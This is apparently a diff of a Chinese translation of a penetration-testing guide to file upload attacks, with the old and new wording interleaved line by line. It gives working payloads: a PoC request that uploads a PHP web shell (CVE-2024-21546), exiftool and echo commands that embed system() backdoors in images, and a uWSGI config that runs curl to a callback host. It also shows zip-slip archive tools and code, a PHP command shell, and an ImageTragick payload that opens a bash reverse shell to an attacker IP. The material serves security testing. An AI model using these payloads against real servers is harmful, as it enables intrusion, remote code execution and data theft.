@ -17,11 +17,11 @@
### 绕过文件扩展名检查
1. 如果适用,请**检查**之前列出的**扩展名**。还要使用一些**大写字母**进行测试 _pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展之前添加一个有效扩展**也使用之前的扩展_
1. 如果适用,检查之前列出的扩展名。也用一些大写字母测试它们 _pHp, .pHP5, .PhAr ..._
2. 检查在可执行扩展名前添加一个有效扩展(也可使用前面列出的扩展):
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。你可以使用 Burp 对所有 **ascii****Unicode** 字符进行**bruteforce**。 (_注意你也可以尝试使用之前提到的**扩展名**_)
3. 尝试在末尾添加特殊字符。你可以使用 Burp 对所有 ASCII 和 Unicode 字符进行暴力测试。(注意你也可以尝试使用之前提到的扩展)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 尝试通过欺骗服务端的扩展名解析器来绕过保护,使用诸如**重复**扩展名或在扩展名之间**添加杂乱数据****null** 字节)等技术。 _你也可以使用之前的扩展名来构造更好的载荷。_
4. 试着通过欺骗服务器端的扩展名解析器来绕过保护使用如重复扩展或在扩展之间添加垃圾数据null 字节)等技术。你也可以使用之前的扩展来准备更好的 payload。
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 在之前的检查中再添加**另一个扩展层**
5. 在之前的检查上再添加一层扩展
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试把**可执行扩展放在有效扩展之前**,希望服务器配置错误。(对利用 Apache 的错误配置有用:任何带有扩展 **.php** 的文件——不一定以 .php 结尾——都会执行代码):
6. 尝试把可执行扩展放在有效扩展之前并祈祷服务器配置错误。(在某些 Apache 错误配置中,任何带有扩展名**.php** 的文件,即使不以 .php 结尾,也可能执行代码)
- _ex: file.php.png_
7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展后和允许的扩展前插入一个冒号字符 ":"。因此,服务器上会创建一个带有被禁止扩展的**空文件**(例如 "file.asax:.jpg")。该文件可能稍后通过其他技术(例如使用其短文件名)被编辑。模式 "**::$data**" 也可用于创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data."
8. 尝试突破文件名长度限制。有效扩展被截断,恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
7. 在 Windows 上使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展之后、允许的扩展之前插入一个冒号字符 ":"。因此,服务器上会创建一个带有被禁止扩展的空文件(例如 "file.asax:.jpg")。这个文件后来可能通过其他技术(例如使用其短文件名)进行编辑。“**::$data**”模式也可用于创建非空文件,因此在此模式后添加一个点字符有时也能绕过进一步的限制(例如 "file.asp::$data."
8. 尝试突破文件名长度限制。有效扩展被截断,而恶意的 PHP 得以保留。 AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,15 +59,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. 末尾点) CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
某些上传处理程序会从保存的文件名中去除或规范化末尾的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名验
有些上传处理器会修剪或规范化保存文件名中的尾随点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名验:
- 使用有效的图像 MIME 和 magic header例如 PNG 的 `\x89PNG\r\n\x1a\n`)。
- 将上传的文件命名为 PHP 扩展并在其后加一个点,例如 `shell.php.`
- 服务器会去掉末尾的点并保存为 `shell.php`,如果它被放在可被 web 访问的目录(默认公共存储,如 `/storage/files/`)中则会执行。
- 使用有效的 image MIME 和 magic header例如 PNG 的 `\x89PNG\r\n\x1a\n`)。
- 将上传的文件命名为以 PHP 扩展名结尾并带有一个点,例如 `shell.php.`
- 服务器会去掉尾随点并持久化为 `shell.php`,如果该文件被放在可被 web 访问的目录(默认 public storage`/storage/files/`)下就会执行。
最简 PoC (Burp Repeater):
Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
然后访问保存的路径(在 Laravel + LFM 中典型
然后访问保存的路径(通常出现在 Laravel + LFM 中):
```
GET /storage/files/0xdf.php?cmd=id
```
缓解措施:
Mitigations:
- 升级 unisharp/laravel-filemanager 到 ≥ 2.9.1。
- 实施严格的服务端 allowlists 并重新验证持久化的文件名。
- 将上传文件托管在不可执行的位置
- 在服务器端强制执行严格的 allowlists 并重新验证持久化的文件名。
- 从不可执行的位置提供上传文件
### 绕过 Content-Type、Magic Number、Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- 绕过 **Content-Type** 检查:将 **Content-Type** **header****value** 设置为_image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 绕过 **magic number** 检查的方法是在文件开头添加 **真实图片的字节**(混淆 _file_ 命令)。或者在 **metadata** 中引入后门\
- 通过将 **Content-Type** **header****value** 设置为_image/png_、_text/plain_、application/octet-stream 来绕过 **Content-Type** 检查。
1. Content-Type 字典: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加真实图片的字节来绕过 **magic number** 检查(混淆 _file_ 命令)。或者把后门放入**元数据**\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以**直接将 payload 注入到图片中**\
`\` 或者你也可以直接把 payload 插入到图片中\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果 **对你的图片进行了压缩**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),前述技术可能无效。不过,你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,这些文本将**在压缩后存活**
- 如果对你的图片正在添加**压缩**,例如使用像 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 这样的常用 PHP 库,之前的技术可能就不再有效。不过,你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能会**image** 进行 **resizing**,例如使用 PHP-GD 的 `imagecopyresized``imagecopyresampled`。不过,你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,这些文本将**在压缩后存活**
- 网页也可能会**缩放**图片,例如使用 PHP-GD 的 `imagecopyresized``imagecopyresampled`。不过,你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一个使 payload **在图片缩放后仍然存活** 的技巧,是利用 PHP-GD 的 `thumbnailImage`。不过,你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,这些文本将**在压缩后存活**
- 另一种使 payload **在图像缩放后存活** 的技术,针对使用 PHP-GD 的 `thumbnailImage`。不过,你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他需要检查的技巧
### Other Tricks to check
- 找可以**重命名**已上传文件(以更改扩展名)的漏洞
- **Local File Inclusion** 漏洞以执行后门。
- **Possible Information disclosure**:
1. 多次(并且在**相同时间**)上传**同一文件**且使用**相同名称**
2. 上传一个名称与**已存在的文件**或**文件夹**相同的文件
3. 上传一个名称为 **"."、".." 或 "..."** 的文件。例如,在 **Windows** 上的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,"." 这个文件名会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
4. 上传一个可能难以删除的文件,例如 **"...:.jpg"** 在 **NTFS** 上。(Windows)
5. 在 **Windows** 上上传包含 **无效字符**(例如 `|<>*?”`)的文件名。(Windows)
6. 在 **Windows**使用保留(禁止)的**名称**上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 也可以尝试上传一个可执行文件 (.exe) 或 .html看起来不那么可疑当被受害者意外打开时会**执行代码**
- 找可以**重命名**已上传文件的漏洞(以更改扩展名)。
- 找 **Local File Inclusion** 漏洞以执行后门。
- **可能的信息泄露**
1. 多次(并在**同一时间**)上传**相同名称**的**同一文件**
2. 上传一个名称与已存在的**文件**或**文件夹**相同的文件
3. 上传一个名`"."`, `".."`, 或 `"…”` 的文件。例如,在 **Windows** 上的 Apache 中,如果应用将上传文件保存在 "/www/uploads/" 目录,文件名为 "." 会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
4. 上传一个可能不易删除的文件,例如在 **NTFS** 下的 `"…:.jpg"`Windows
5. 在 **Windows** 上上传包含无效字符(例如 `|<>*?”`)的文件名。Windows
6. 在 **Windows**上传使用保留(禁用)名称的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 还可以尝试上传可执行文件(.exe或一个较不显眼的 .html当受害者意外打开时会执行代码
### Special extension tricks
如果你正尝试向 **PHP server** 上传文件,查看 [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你正尝试向 **ASP server** 上传文件,查看 [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
如果你试图向 **PHP server** 上传文件,请查看用于执行代码的 **.htaccess** 技巧: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你试图向 **ASP server** 上传文件,请查看用于执行代码的 **.config** 技巧:../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
`.phar` 文件类似于 Java 的 `.jar`,但用于 php可以**像 php 文件一样使用**(用 php 执行,或在脚本中 include……
`.phar` 文件类似于 Java 的 `.jar`,但用于 php可以像 php 文件那样使用(用 php 执行,或在脚本中包含...
`.inc` 扩展有时用于仅用于**import files** 的 php 文件,因此某些情况下有人可能允许**该扩展被执行**。
`.inc` 扩展有时用于仅用于**导入文件**的 php 文件,因此在某些情况下,可能有人允许**此扩展被执行**。
## **Jetty RCE**
如果你能向 Jetty server 上传一个 XML 文件,你可以获得 [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)。因此,如图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
如果你能向 Jetty 服务器上传 XML 文件,你可以获得 [RCE因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
关于该漏洞的详细研究请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
关于此漏洞的详细探讨请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
远程命令执行 (RCE) 漏洞可以在 uWSGI 服务器上被利用,前提是攻击者有能力修改 `.ini` 配置文件。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是'@' 运算符以 `@(filename)` 的形式使用,旨在包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 特别强大,允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,这个特性可能被滥用以实现远程命令执行或任意文件写入/读取Arbitrary File Write/Read
如果可以修改 `.ini` 配置文件uWSGI 服务器上可能存在 Remote Command Execution (RCE) 漏洞。uWSGI 配置文件使用特定的语法来包含“magic”变量、占位符和运算符。值得注意的是 '@' 运算符,以 `@(filename)` 的形式使用,用于包含文件内容。在 uWSGI 支持的各种 scheme 中,"exec" scheme 特别强大,它允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,此功能可以被用于恶意目的,例如 Remote Command Execution 或 Arbitrary File Write/Read
考虑下面这个展示多种 scheme 的恶意 `uwsgi.ini` 示例
考虑下面这个有害的 `uwsgi.ini` 示例,展示了各种 scheme
```ini
[uwsgi]
; read from a symbol
@ -156,14 +156,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
payload 的执行发生在配置文件解析期间。要使配置被激活并解析uWSGI 进程必须要么重启(可能是在崩溃之后或由于 Denial of Service attack要么将该文件设置为 auto-reload。auto-reload 功能(如果启用)在检测到更改时会按指定间隔重新加载该文件。
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
必须理解 uWSGI 配置文件解析的宽松性。具体来说,上述 payload 可以被插入到二进制文件(例如图像或 PDF从而进一步扩大潜在利用的范围。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
## **wget File Upload/SSRF Trick**
## **wget 文件上传/SSRF 技巧**
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并允许你指定 **URL**。在这些情况下,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只下载被允许的文件。然而,**此检查可以被绕过。**\
**linux****文件名****最大** 长度是 **255**,但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名会 **绕过****检查**(在本例中 **".gif"** 是一个 **有效** 的扩展),但 `wget` 会将该文件重命名为 **"A"\*232+".php"**。
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并且可以 **指定** **URL**。在这些情况下,代码可能会检查所下载文件的扩展名是否在白名单内,以确保只会下载被允许的文件。然而,**这个检查是可以绕过的。**\
**linux** 中,**文件名** 的 **最大** 长度为 **255**,然而,**wget** 会将文件名 **截断****236** 个字符。你可以 **下载名为 "A"\*232+".php"+".gif" 的文件**,这个文件名将会 **绕过** **检查**(例如在此情形中 **".gif"** 是一个 **有效** 的扩展名),但 `wget`**重命名** 该文件为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +187,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意**另一种选项**(你可能会想到)来绕过此检查是让 **HTTP server 重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载重定向后的文件并使用新名称。除非以 `--trust-server-names` 参数使用 wget否则这**不会起作用**,因为 **wget 会使用原始 URL 中指示的文件名来下载重定向页面**。
注意你可能会想到的另一种绕过此检查的方式是让 **HTTP server** 重定向到不同的文件,这样初始 URL 将绕过检查,然后 wget 会下载重定向后的新文件名。除非使用参数 `--trust-server-names` 否则这 **不会生效**,因为 **wget 会使用原始 URL 中指示的文件名来下载重定向页面**。
## 工具
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试 file upload 机制。它利用各种 bug bounty techniques 来简化识别和利用漏洞的过程,确保对 web applications 的彻底评估。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它结合了多种 bug bounty 技术,简化识别和利用漏洞的过程,确保对 web 应用进行彻底评估。
### 使用 snprintf 特性损坏上传索引(历史)
### 利用 snprintf 异常破坏上传索引(历史)
一些遗留的上传处理器使用 `snprintf()` 或类似函数从单文件上传构建多文件数组,可能被欺骗成伪造 `_FILES` 结构。由于 `snprintf()` 行为中的不一致和截断,一个精心构造的单次上传在服务器端可能表现为多个带索引的文件,从而混淆假设严格结构的逻辑(例如,将其视为多文件上传并走不安全的分支)。尽管在当今已属小众,但这种“索引损坏”模式偶尔会在 CTFs 和旧代码库中重新出现。
一些使用 `snprintf()` 或类似函数将单文件上传构建为多文件数组的遗留上传处理器,可能被欺骗以伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个带索引的文件,混淆假定严格形状的逻辑(例如,将其视为多文件上传并进入不安全的分支)。虽然如今较为小众,但这种“索引破坏”模式偶尔会在 CTF 和旧代码库中重现。
## 从文件上传到其他漏洞
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试触发 **path traversal**
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,可能能够实现 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 来触发 XSS
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection(更多 [command injections tricks here](../command-injection.md)
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal**
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,可能触发 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 以实现 **XSS**
- 将 **filename** 设置为 `; sleep 10;` 来测试一些命令注入(更多 [command injections tricks here](../command-injection.md)
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果你能 指示 web server 从 URL 抓取 image可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点,你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **窃取每个访问者的信息**。
- [著名的 **ImageTrick** 漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果你能指示 web server 从某个 URL 抓取图片,可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **保存** 到某个 **public** 站点,你也可以指定来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL从而 **窃取每位访问者的信息**。
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- 特制的 PDFs 导致 XSS该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs你可以按给出的指示准备一些 PDF 来执行任意 JS。
- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **antivirus**
- 上传文件时检查是否有任何 **大小限制**
- 特制的 PDF 导致 XSS下面的页面展示了如何 **注入 PDF 数据以获得 JS 执行** (../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDF可以按照给定说明准备某些 PDF 来执行任意 JS。
- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **防病毒软件**
- 检查上传文件时是否存在任何 **size limit**
下面是一个通过上传可以实现的前十项清单(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889):
下面是通过上传可以实现的前十项(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -239,15 +240,15 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
有关其他文件类型,请参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)。
参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名
## Zip/Tar 文件自动解压上传
## Zip/Tar File Automatically decompressed Upload
如果你可以上传一个在服务器端会被解压的 ZIP你可以做两件事
如果你可以上传一个会在服务器内部被解压的 ZIP你可以做两件事
### 符号链接
### 符号链接 (Symlink)
上传包含指向其他文件的软链接的链接文件,然后访问解压后的文件时你将访问到被链接的文件:
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时,你将访问被链接的文件:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -255,18 +256,18 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹解压
在解压过程中意外在目录中创建文件是一个严重问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行 OS-level command execution但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可以被利用。这使得攻击者能够通过操纵目标应用的 decompression 功能来绕过限制并逃出 secure upload directories
在解压过程中意外在目录中创建文件是一个严重问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行的 OS-level 命令执行,但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可能会被利用。攻击者可以通过操纵目标应用的解压功能绕过限制并从受保护的 upload directories 逃逸
在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取用于制作此类文件的 automated exploit。该工具的用法如下:
用于生成此类文件的自动化 exploit 可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取。该工具的用法如下:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外,**symlink trick with evilarc** 是一个可选方案。如果目标是像 `/flag.txt` 这样的文件,应在你的系统中创建一个指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
此外,**symlink trick with evilarc** 是一个选项。如果目标是针对类似 `/flag.txt` 的文件,应在你的系统中创建指向该文件的符号链接。这样可以确保 evilarc 在运行过程中不会遇到错误。
下面是一个用于创建恶意 zip 文件的 Python 代码示例:
下面是用于创建恶意 zip 文件的 Python 代码示例:
```python
#!/usr/bin/python
import zipfile
@ -284,11 +285,11 @@ zip.close()
create_zip()
```
**滥用压缩来进行 file spraying**
**滥用压缩进行文件喷射**
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
有关更多细节 **查看原始帖子** [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **创建 PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 传递的命令。
1. **Creating a PHP Shell**编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
```php
<?php
@ -298,14 +299,14 @@ system($cmd);
}?>
```
2. **File Spraying 和 压缩文件创建**: 创建多个文件,并将它们打包到一个 zip 归档中。
2. **File Spraying and Compressed File Creation**:创建多个文件,并将这些文件打包到一个 zip 归档中。
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **使用 Hex Editor 或 vi 修改**: zip 内部的文件名使用 vi 或十六进制编辑器被修改,将 "xxA" 改为 "../" 以进行目录遍历。
3. **Modification with a Hex Editor or vi**:使用 vi 或十六进制编辑器修改 zip 内部文件名,将 "xxA" 更改为 "../" 以进行目录遍历。
```bash
:set modifiable
@ -315,40 +316,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
将此内容以图像扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 the [exploit](https://www.exploit-db.com/exploits/39767))
将此内容以图像扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参见 [exploit](https://www.exploit-db.com/exploits/39767)
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## 在 PNG 中嵌入 PHP Shell
将 PHP shell 嵌入到 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 中的 `imagecopyresized``imagecopyresampled` 函数在此场景中特别相关,因为它们通常用于图像的缩放和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力,对某些用例而言是一个重要优势。
在 PNG 文件的 IDAT chunk 中嵌入 PHP shell 可以有效绕过某些图像处理操作。来自 PHP-GD 的函数 `imagecopyresized``imagecopyresampled` 在此情境尤其相关,因为它们通常分别用于调整图像大小和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力,对某些用例而言是重要优势。
关于该技术的详细探讨,包括方法论和潜在应用,请参见下面的文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。
关于该技术的详细探讨,包括方法论和潜在应用,请参见下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files 在网络安全中作为一种独特工具,就像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既是 GIF 又是 RAR 的混合体。这类文件并不限于这一组合;例如 GIF 与 JS、PPT 与 JS 的组合也是可行的
Polyglot files 在网络安全中是独特的工具,像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既是 GIF 也是 RAR 存档。这样的文件不局限于这种组合;像 GIF 和 JS 或 PPT 和 JS 这样的组合也可行
polyglot 文件的核心用途在于其规避基于类型筛查文件的安全措施的能力。各种应用中的常见做法是只允许上传某些文件类型——比如 JPEG、GIF 或 DOC——以降低潜在有害格式例如 JS、PHP 或 Phar 文件带来的风险。然而polyglot 通过符合多种文件格式的结构特征,可以悄无声息地绕过这些限制。
Polyglot files 的核心用途在于其能够规避基于文件类型的安全检测。许多应用的常见做法是只允许某些文件类型上传——例如 JPEG、GIF 或 DOC——以降低来自潜在有害格式例如 JS、PHP 或 Phar 文件的风险。然而polyglot 通过同时符合多种文件类型的结构要求,能够悄然绕过这些限制。
尽管具备适应性polyglot 也存在局限。例如,虽然一个 polyglot 可能同时体现为 PHAR 文件 (PHp ARchive) 与 JPEG但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名有严格限制polyglot 的结构双重性本身可能不足以保证其被接受上传
尽管具有适应性polyglots 仍然存在局限。例如,尽管 polyglot 可能同时表现为 PHAR 文件 (PHp ARchive) 和 JPEG它是否能成功上传可能取决于平台的文件扩展名策略。如果系统严格限制允许的扩展名polyglot 的结构双重性可能不足以保证其上传成功
